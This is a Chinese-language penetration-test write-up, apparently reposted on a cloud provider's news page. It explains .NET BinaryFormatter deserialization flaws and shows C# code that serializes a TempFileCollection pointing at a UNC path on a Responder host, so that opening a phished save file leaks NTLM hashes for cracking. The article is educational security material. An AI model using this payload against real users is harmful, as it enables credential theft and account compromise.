您好,登錄后才能下訂單哦!
這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)怎樣利用.NET反序列化漏洞獲取NTLM Hashes,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
在最近的一次滲透測(cè)試中,我們遇到了一個(gè)用來(lái)獲取管理員憑據(jù)的有趣技術(shù)(當(dāng)然,NTLM散列已被破解)。這次攻擊并沒(méi)有什么特別新的東西,它需要特殊的條件才能實(shí)現(xiàn),但我們認(rèn)為這足讓我們把它分享出來(lái)。在mediaservice.net博客上Gianluca Baldi最近發(fā)布的一篇博客文章中,也描述了非常類似的技術(shù)。我們發(fā)現(xiàn)我們能夠做一些非常相似的事情,但針對(duì)利用的不是XXE而是.net反序列化漏洞。
當(dāng)用戶加載惡意文件時(shí)會(huì)觸發(fā)此特定漏洞,因此需要用戶交互,但在網(wǎng)絡(luò)中可訪問(wèn)的應(yīng)用程序中可能存在類似的漏洞。 這完全取決于數(shù)據(jù)的反序列化位置。
反序列化是任何執(zhí)行大量應(yīng)用程序或Web應(yīng)用程序安全測(cè)試的人都應(yīng)該熟悉的東西。通常在Java環(huán)境中討論,反序列化漏洞是許多應(yīng)用程序(包括.NET應(yīng)用程序)中都有可能會(huì)出現(xiàn)的漏洞。
對(duì)于那些不太熟悉的人來(lái)說(shuō),序列化就是將一個(gè)對(duì)象轉(zhuǎn)換成一個(gè)字節(jié)流的過(guò)程,這樣就可以輕松保存在磁盤文件或數(shù)據(jù)庫(kù)中。反序列化是序列化的逆過(guò)程;通常這可以用于兩個(gè)應(yīng)用程序(可能位于不同主機(jī)上)間通信的RPC。當(dāng)應(yīng)用程序的狀態(tài)需要保存時(shí)(這也很常見),序列化的數(shù)據(jù)會(huì)被寫入磁盤并在之后進(jìn)行恢復(fù)。
我們可以通過(guò)下面的例子看到這一點(diǎn)。
using System; using System.IO; using System.Runtime.Serialization.Formatters.Binary; namespace serialisationTest1 { [Serializable] class MyClass { private int x = 1; private int y = 2; public string s = "Hello World"; public MyClass() { Console.WriteLine("In Constructor"); } public void Method() { Console.WriteLine("Method()"); } public void Dispose() { Console.WriteLine("Disposing Object"); } } class Program { static void Main(string[] args) { BinaryFormatter binaryFormatter = new BinaryFormatter(); MyClass myClass = new MyClass(); using (FileStream fileStream = File.OpenWrite("save")) { binaryFormatter.Serialize(fileStream, myClass); } } } }
這將創(chuàng)建一個(gè)文件并保存,我們可以在文本編輯器中查看。
當(dāng)應(yīng)用程序?qū)Σ豢尚艛?shù)據(jù)進(jìn)行反序列化時(shí),有時(shí)可能會(huì)被攻擊者所利用。如果我們看一下上面的反序列化的對(duì)象,很明顯,雖然我們不能直接向應(yīng)用程序注入代碼,但是如果反序列化的對(duì)象在它的構(gòu)造函數(shù)中或在它的dispose方法中,我們或許能夠?qū)ζ溥M(jìn)行利用(即惡意的)- 當(dāng).NET對(duì)象被銷毀時(shí),垃圾回收器調(diào)用的方法。這是因?yàn)楫?dāng)進(jìn)行反序列化嘗試時(shí),實(shí)際上該對(duì)象確實(shí)被創(chuàng)建并銷毀,即使該對(duì)象由于類型錯(cuò)誤而無(wú)法使用。
在測(cè)試中,我們發(fā)現(xiàn)桌面安裝了.NET應(yīng)用程序。盡管我們并不了解應(yīng)用程序的性質(zhì),但我們可以肯定的是它具有“保存”功能。為了保存,應(yīng)用程序用一個(gè)特定的對(duì)象并將其序列化到磁盤。之后它可以通過(guò)相反的方式加載這個(gè)保存的對(duì)象并反序列化它。
漏洞代碼類似于下面:
using System; using System.IO; using System.Runtime.Serialization.Formatters.Binary; namespace serialisationTest1 { class Program { static void Main(string[] args) { string saveFile = "save"; MyClass myClass = null; BinaryFormatter binaryFormatter = new BinaryFormatter(); FileStream fileStream = File.OpenRead(saveFile); try { Object o = binaryFormatter.Deserialize(fileStream); myClass = (MyClass)o; myClass.Method(); } catch (Exception) { } } } }
如前所述,在這種特殊情況下,我們需要找到一個(gè)對(duì)象,它在創(chuàng)建或銷毀時(shí)會(huì)發(fā)揮一些有用的作用。
System.CodeDom.Compiler.TempFileCollection是.NET中的一個(gè)對(duì)象,用于刪除使用AddFile方法添加的文件。這已通過(guò)在特定位置(d:\file1)中創(chuàng)建文件,并將序列化的TempFileCollection用作應(yīng)用程序“保存”文件得到證實(shí)。反序列化的對(duì)象是使用以下代碼片段創(chuàng)建的:
static void Main(string[] args) { BinaryFormatter binaryFormatter = new BinaryFormatter(); TempFileCollection tempFileCollection = new TempFileCollection(); tempFileCollection.AddFile("d:\\test",false); using (FileStream fileStream = File.OpenWrite("save")) { binaryFormatter.Serialize(fileStream, tempFileCollection); } }
當(dāng)我們加載保存文件時(shí),應(yīng)用程序反序列化確實(shí)刪除了測(cè)試文件。這是一個(gè)很好的PoC,那么我們能再進(jìn)一步嗎?
此時(shí),我們有一個(gè)應(yīng)用程序存在一個(gè)反序列化漏洞,當(dāng)打開一個(gè)保存文件時(shí)會(huì)觸發(fā)一個(gè)反序列化漏洞,并且一個(gè)可以反序列化的對(duì)象會(huì)刪除我們可以指定的文件。
如果從UNC路徑 (i.e. \\host\file)中讀取文件,Windows將嘗試使用服務(wù)器進(jìn)行身份驗(yàn)證。如果我們將已刪除的文件更改為運(yùn)行Responder的服務(wù)器上的UNC路徑,我們將能夠捕獲NTLM握手并嘗試破解密碼。
下面的.net代碼生成我們的payload:
static public void MakeObject() { BinaryFormatter binaryFormatter = new BinaryFormatter(); TempFileCollection tempFileCollection = new TempFileCollection(); tempFileCollection.AddFile("\\\\<responderIP>\\test", false); using (FileStream fileStream = File.OpenWrite("save")) { binaryFormatter.Serialize(fileStream, tempFileCollection); } }
然后,我們運(yùn)行Responder,將文件發(fā)送給用戶(通過(guò)網(wǎng)絡(luò)釣魚攻擊)并等待。不一會(huì)兒我們就獲取到了哈希,我們可以用于破解。
基于我們強(qiáng)大的字典,以及目標(biāo)用戶脆弱的密碼策略,沒(méi)花多久時(shí)間我們便成功破解出了密碼。
上述就是小編為大家分享的怎樣利用.NET反序列化漏洞獲取NTLM Hashes了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。